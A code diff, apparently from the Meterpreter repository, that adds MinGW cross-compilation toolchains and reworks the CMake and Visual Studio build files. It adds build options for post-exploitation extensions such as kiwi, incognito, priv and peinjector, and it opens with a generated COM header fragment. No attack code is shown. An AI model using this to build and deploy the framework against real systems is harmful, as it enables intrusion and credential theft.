HRESULT ( STDMETHODCALLTYPE *GetSizeMax )(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out ULARGE_INTEGER *pcbSize);
HRESULT ( STDMETHODCALLTYPE *GetConditionType )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType);
HRESULT ( STDMETHODCALLTYPE *GetSubConditions )(
__RPC__in ICondition2 * This,
/* [in] */ __RPC__in REFIID riid,
/* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetComparisonInfo )(
ICondition2 * This,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar);
HRESULT ( STDMETHODCALLTYPE *GetValueType )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName);
HRESULT ( STDMETHODCALLTYPE *GetValueNormalization )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetInputTerms )(
ICondition2 * This,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm);
HRESULT ( STDMETHODCALLTYPE *Clone )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__deref_out_opt ICondition **ppc);
HRESULT ( STDMETHODCALLTYPE *GetLocale )(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszLocaleName);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetLeafConditionInfo )(
ICondition2 * This,
/* [annotation][out] */
_Out_opt_ PROPERTYKEY *ppropkey,
/* [annotation][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][out] */
_Out_opt_ PROPVARIANT *ppropvar);
END_INTERFACE
} ICondition2Vtbl;
interface ICondition2
{
CONST_VTBL struct ICondition2Vtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ICondition2_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ICondition2_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ICondition2_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ICondition2_GetClassID(This,pClassID) \
( (This)->lpVtbl -> GetClassID(This,pClassID) )
#define ICondition2_IsDirty(This) \
( (This)->lpVtbl -> IsDirty(This) )
#define ICondition2_Load(This,pStm) \
( (This)->lpVtbl -> Load(This,pStm) )
#define ICondition2_Save(This,pStm,fClearDirty) \
( (This)->lpVtbl -> Save(This,pStm,fClearDirty) )
#define ICondition2_GetSizeMax(This,pcbSize) \
( (This)->lpVtbl -> GetSizeMax(This,pcbSize) )
#define ICondition2_GetConditionType(This,pNodeType) \
( (This)->lpVtbl -> GetConditionType(This,pNodeType) )
#define ICondition2_GetSubConditions(This,riid,ppv) \
( (This)->lpVtbl -> GetSubConditions(This,riid,ppv) )
#define ICondition2_GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) \
( (This)->lpVtbl -> GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) )
#define ICondition2_GetValueType(This,ppszValueTypeName) \
( (This)->lpVtbl -> GetValueType(This,ppszValueTypeName) )
#define ICondition2_GetValueNormalization(This,ppszNormalization) \
( (This)->lpVtbl -> GetValueNormalization(This,ppszNormalization) )
#define ICondition2_GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) \
( (This)->lpVtbl -> GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) )
#define ICondition2_Clone(This,ppc) \
( (This)->lpVtbl -> Clone(This,ppc) )
#define ICondition2_GetLocale(This,ppszLocaleName) \
( (This)->lpVtbl -> GetLocale(This,ppszLocaleName) )
#define ICondition2_GetLeafConditionInfo(This,ppropkey,pcop,ppropvar) \
( (This)->lpVtbl -> GetLeafConditionInfo(This,ppropkey,pcop,ppropvar) )
#endif /* COBJMACROS */
#endif /* C style interface */
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition2_RemoteGetLeafConditionInfo_Proxy(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out PROPERTYKEY *ppropkey,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
void __RPC_STUB ICondition2_RemoteGetLeafConditionInfo_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __ICondition2_INTERFACE_DEFINED__ */
/* interface __MIDL_itf_structuredquerycondition_0000_0003 */
/* [local] */
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0003_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0003_v0_0_s_ifspec;
/* Additional Prototypes for ALL interfaces */
unsigned long __RPC_USER BSTR_UserSize( __RPC__in unsigned long *, unsigned long , __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserMarshal( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * );
void __RPC_USER BSTR_UserFree( __RPC__in unsigned long *, __RPC__in BSTR * );
unsigned long __RPC_USER LPSAFEARRAY_UserSize( __RPC__in unsigned long *, unsigned long , __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserMarshal( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * );
void __RPC_USER LPSAFEARRAY_UserFree( __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * );
unsigned long __RPC_USER BSTR_UserSize64( __RPC__in unsigned long *, unsigned long , __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserMarshal64( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * );
void __RPC_USER BSTR_UserFree64( __RPC__in unsigned long *, __RPC__in BSTR * );
unsigned long __RPC_USER LPSAFEARRAY_UserSize64( __RPC__in unsigned long *, unsigned long , __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserMarshal64( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * );
void __RPC_USER LPSAFEARRAY_UserFree64( __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * );
/* [local] */ HRESULT STDMETHODCALLTYPE IRichChunk_GetData_Proxy(
IRichChunk * This,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pFirstPos,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pLength,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppsz,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *pValue);
/* [call_as] */ HRESULT STDMETHODCALLTYPE IRichChunk_GetData_Stub(
__RPC__in IRichChunk * This,
/* [out] */ __RPC__out ULONG *pFirstPos,
/* [out] */ __RPC__out ULONG *pLength,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppsz,
/* [out] */ __RPC__out PROPVARIANT *pValue);
/* [local] */ HRESULT STDMETHODCALLTYPE ICondition_GetComparisonInfo_Proxy(
ICondition * This,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_GetComparisonInfo_Stub(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
/* [local] */ HRESULT STDMETHODCALLTYPE ICondition_GetInputTerms_Proxy(
ICondition * This,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_GetInputTerms_Stub(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppPropertyTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppOperationTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppValueTerm);
/* [local] */ HRESULT STDMETHODCALLTYPE ICondition2_GetLeafConditionInfo_Proxy(
ICondition2 * This,
/* [annotation][out] */
_Out_opt_ PROPERTYKEY *ppropkey,
/* [annotation][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][out] */
_Out_opt_ PROPVARIANT *ppropvar);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition2_GetLeafConditionInfo_Stub(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out PROPERTYKEY *ppropkey,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
/* end of Additional Prototypes */
#ifdef __cplusplus
}
#endif
#endif

View File

@ -0,0 +1,20 @@
set(CMAKE_SYSTEM_NAME Windows)
set(CMAKE_SYSTEM_PROCESSOR i686)
set(CMAKE_TOOLCHAIN_PREFIX "i686-w64-mingw32")
find_program(CMAKE_MAKE_PROGRAM NAMES make)
find_program(CMAKE_RC_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
find_program(CMAKE_C_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
set(CMAKE_C_STANDARD 11)
set(CMAKE_CXX_STANDARD 11)
set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)

View File

@ -0,0 +1,20 @@
set(CMAKE_SYSTEM_NAME Windows)
set(CMAKE_SYSTEM_PROCESSOR amd64)
set(CMAKE_TOOLCHAIN_PREFIX "x86_64-w64-mingw32")
find_program(CMAKE_MAKE_PROGRAM NAMES make)
find_program(CMAKE_RC_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
find_program(CMAKE_C_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
set(CMAKE_C_STANDARD 11)
set(CMAKE_CXX_STANDARD 11)
set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)

View File

@ -2,23 +2,89 @@ cmake_minimum_required(VERSION 3.15.7 FATAL_ERROR)
set(PROJECT_NAME meterpreter) set(PROJECT_NAME meterpreter)
cmake_policy(SET CMP0091 NEW) if(MSVC)
project(${PROJECT_NAME} C CXX) cmake_policy(SET CMP0091 NEW)
endif()
project(${PROJECT_NAME} C)
option(DBGTRACE "Enable debug tracing" OFF) option(DBGTRACE "Enable debug tracing" OFF)
option(DBGTRACE_VERBOSE "Enable verbose debug tracing" OFF) option(DBGTRACE_VERBOSE "Enable verbose debug tracing" OFF)
option(BUILD_SNIFFER "Build the sniffer extension (requires PSSDK)" OFF)
option(USE_STATIC_MSVC_RUNTIMES "Use /MT instead of /MD in MSVC" ON) option(USE_STATIC_MSVC_RUNTIMES "Use /MT instead of /MD in MSVC" ON)
if( USE_STATIC_MSVC_RUNTIMES )
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>") option(BUILD_ALL "Build everything" ON)
option(BUILD_LIB_JPEG "Build JPEG lib" OFF)
option(BUILD_METSRV "Build METSRV" OFF)
option(BUILD_EXT_ALL "Build all extensions" OFF)
option(BUILD_EXT_SNIFFER "Build the SNIFFER extension (requires PSSDK)" OFF)
option(BUILD_EXT_STDAPI "Build the STDAPI extension" OFF)
option(BUILD_EXT_PRIV "Build the PRIV extension" OFF)
option(BUILD_EXT_EXTAPI "Build the EXTAPI extension" OFF)
option(BUILD_EXT_KIWI "Build the KIWI extension" OFF)
option(BUILD_EXT_ESPIA "Build the ESPIA extension" OFF)
option(BUILD_EXT_WINPMEM "Build the WINPMEM extension" OFF)
option(BUILD_EXT_UNHOOK "Build the UNHOOK extension" OFF)
option(BUILD_EXT_INCOGNITO "Build the INCOGNITO extension" OFF)
option(BUILD_EXT_LANATTACKS "Build the LANATTACKS extension" OFF)
option(BUILD_EXT_PYTHON "Build the PYTHON extension" OFF)
option(BUILD_EXT_POWERSHELL "Build the POWERSHELL extension" OFF)
option(BUILD_EXT_PEINJECTOR "Build the PEINJECTOR extension" OFF)
if(BUILD_ALL)
set(BUILD_LIB_JPEG ON)
set(BUILD_METSRV ON)
set(BUILD_EXT_ALL ON)
# TODO: plugins
endif()
if(BUILD_EXT_ALL)
set(BUILD_EXT_STDAPI ON)
set(BUILD_EXT_PRIV ON)
set(BUILD_EXT_EXTAPI ON)
set(BUILD_EXT_KIWI ON)
set(BUILD_EXT_ESPIA ON)
set(BUILD_EXT_WINPMEM ON)
set(BUILD_EXT_UNHOOK ON)
set(BUILD_EXT_INCOGNITO ON)
set(BUILD_EXT_LANATTACKS ON)
set(BUILD_EXT_PYTHON ON)
set(BUILD_EXT_POWERSHELL ON)
set(BUILD_EXT_PEINJECTOR ON)
endif()
if(BUILD_EXT_ESPIA)
set(BUILD_LIB_JPEG ON)
endif()
if(BUILD_EXT_STDAPI)
set(BUILD_LIB_JPEG ON)
endif()
if(USE_STATIC_MSVC_RUNTIMES)
if(MSVC)
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
else()
set(CMAKE_MINGW_FLAGS_COMMON "-static-libgcc -mwindows -fms-extensions -Wl,--enable-stdcall-fixup")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${CMAKE_MINGW_FLAGS_COMMON}")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${CMAKE_MINGW_FLAGS_COMMON} -static-libstdc++ -std=c++11")
endif()
endif() endif()
set(WORKSPACE_ROOT_DIR ${PROJECT_SOURCE_DIR}) set(WORKSPACE_ROOT_DIR ${PROJECT_SOURCE_DIR})
set(MOD_DEF_DIR ${PROJECT_SOURCE_DIR}/../source/def) set(MOD_DEF_DIR ${PROJECT_SOURCE_DIR}/../source/def/)
set(BIN_OUTPUT_DIR ${PROJECT_SOURCE_DIR}/../output) set(BIN_OUTPUT_DIR ${PROJECT_SOURCE_DIR}/../output/)
set(PSSDK_DIR ${PROJECT_SOURCE_DIR}/../../../../pssdk) set(PSSDK_DIR ${PROJECT_SOURCE_DIR}/../../../../pssdk/)
if(CMAKE_GENERATOR_PLATFORM MATCHES "Win32") if(MSVC)
set(BUILD_ARCH ${CMAKE_GENERATOR_PLATFORM})
else()
set(CMAKE_C_COMPILE_OPTIONS_PIC "")
set(CMAKE_SHARED_LIBRARY_PREFIX "")
set(CMAKE_SHARED_LIBRARY_SUFFIX ".dll")
endif()
if(BUILD_ARCH MATCHES "Win32")
set(TARGET_ARCH "x86") set(TARGET_ARCH "x86")
set(IS_X86 true) set(IS_X86 true)
set(IS_X64 false) set(IS_X64 false)
@ -30,6 +96,8 @@ else()
set(BIN_SUBSYSTEM "5.01") set(BIN_SUBSYSTEM "5.01")
endif() endif()
set(CMAKE_LIBRARY_ARCHITECTURE ${TARGET_ARCH} CACHE STRING "" FORCE)
if(NOT CMAKE_BUILD_TYPE) if(NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE "Release") set(CMAKE_BUILD_TYPE "Release")
message(STATUS "Build Type not specified, defaulting to 'Release'.") message(STATUS "Build Type not specified, defaulting to 'Release'.")
@ -39,12 +107,14 @@ set(IS_RELEASE true)
set(IS_DEBUG false) set(IS_DEBUG false)
if(CMAKE_BUILD_TYPE MATCHES "Release") if(CMAKE_BUILD_TYPE MATCHES "Release")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /W3 /WX") if(MSVC)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W3 /WX /EHsc") set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /W3 /WX")
string(REPLACE "O2" "O1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}") set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W3 /WX /EHsc")
string(REPLACE "Ob2" "Ob1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}") string(REPLACE "O2" "O1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
string(REPLACE "O2" "O1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}") string(REPLACE "Ob2" "Ob1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
string(REPLACE "Ob2" "Ob1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}") string(REPLACE "O2" "O1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
string(REPLACE "Ob2" "Ob1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
endif()
else() else()
# We only support "Release" or "Debug" # We only support "Release" or "Debug"
set(CMAKE_BUILD_TYPE "Debug") set(CMAKE_BUILD_TYPE "Debug")
@ -74,38 +144,73 @@ if(IS_X64)
) )
endif() endif()
set(MET_LIBS jpeg) if(BUILD_LIB_JPEG)
set(MET_LIBS jpeg)
set(
MET_EXTENSIONS
ext_server_espia
ext_server_priv
ext_server_extapi
ext_server_incognito
ext_server_lanattacks
ext_server_peinjector
ext_server_winpmem
ext_server_unhook
ext_server_powershell
ext_server_kiwi
ext_server_python
ext_server_stdapi
)
if(BUILD_SNIFFER)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_sniffer)
endif() endif()
set( if(BUILD_EXT_STDAPI)
MET_PLUGINS set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_stdapi)
screenshot endif()
elevator if(BUILD_EXT_PRIV)
) set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_priv)
endif()
if(BUILD_EXT_ESPIA)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_espia)
endif()
if(BUILD_EXT_INCOGNITO)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_incognito)
endif()
if(BUILD_EXT_UNHOOK)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_unhook)
endif()
if(BUILD_EXT_WINPMEM)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_winpmem)
endif()
if(BUILD_EXT_LANATTACKS)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_lanattacks)
endif()
if(BUILD_EXT_EXTAPI)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_extapi)
endif()
if(BUILD_EXT_KIWI)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_kiwi)
endif()
if(BUILD_EXT_PEINJECTOR)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_peinjector)
endif()
set( if(BUILD_EXT_SNIFFER)
MET_SERVERS if(MSVC)
metsrv if(EXISTS "${PSSDK_DIR}")
) set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_sniffer)
else()
message(STATUS "[!] Unable to build SNIFFER: PSSDK is missing.")
endif()
else()
message(STATUS "[!] Unable to build SNIFFER: not supported on Linux.")
endif()
endif()
if(MSVC)
if(BUILD_EXT_POWERSHELL)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_powershell)
endif()
if(BUILD_EXT_PYTHON)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_python)
endif()
endif()
if(MSVC)
set(
MET_PLUGINS
screenshot
elevator
)
endif()
if(BUILD_METSRV)
set(MET_SERVERS metsrv)
endif()
set( set(
MET_DLLS MET_DLLS

View File

@ -1,9 +1,15 @@
function(editbin) function(editbin)
add_custom_command(TARGET ${ARGV0} POST_BUILD if(MSVC)
COMMAND editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,${ARGV1} $<TARGET_FILE:${ARGV0}> > NUL) add_custom_command(TARGET ${ARGV0} POST_BUILD
COMMAND editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,${ARGV1} $<TARGET_FILE:${ARGV0}> > NUL)
else()
# TODO: add implementation for mingw
endif()
endfunction() endfunction()
function(copyoutput) function(copyoutput)
add_custom_command(TARGET ${ARGV0} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E make_directory ${ARGV1})
add_custom_command(TARGET ${ARGV0} POST_BUILD add_custom_command(TARGET ${ARGV0} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_FILE:${ARGV0}> ${ARGV1}) COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_FILE:${ARGV0}> ${ARGV1})
endfunction() endfunction()

View File

@ -8,11 +8,13 @@ add_definitions(
-D_USRDLL -D_USRDLL
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP /Gy- /Oy-") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP /Gy- /Oy-")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/jpeg-8) include_directories(../../source/jpeg-8)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/espia) set(SRC_DIR ../../source/extensions/espia)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -21,8 +23,10 @@ file(GLOB SRC_FILES
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS jpeg) set(LINK_LIBS jpeg)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -320,4 +320,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_extapi) set(PROJECT_NAME ext_server_extapi)
project(${PROJECT_NAME} C) project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt) include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -8,11 +8,13 @@ add_definitions(
-D_USRDLL -D_USRDLL
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP") set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/extapi) set(SRC_DIR ../../source/extensions/extapi)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -20,12 +22,27 @@ file(GLOB SRC_FILES
${SRC_DIR}/*.cpp ${SRC_DIR}/*.cpp
${MOD_DEF_DIR}/extension.def ${MOD_DEF_DIR}/extension.def
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS
gdiplus
ws2_32
activeds
wbemuuid
esent
)
if(MSVC)
set(LINK_LIBS ${LINK_LIBS} comsuppw)
else()
endif()
set(LINK_LIBS gdiplus ws2_32)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC) if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")

View File

@ -102,7 +102,7 @@
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries> <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@ -156,7 +156,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
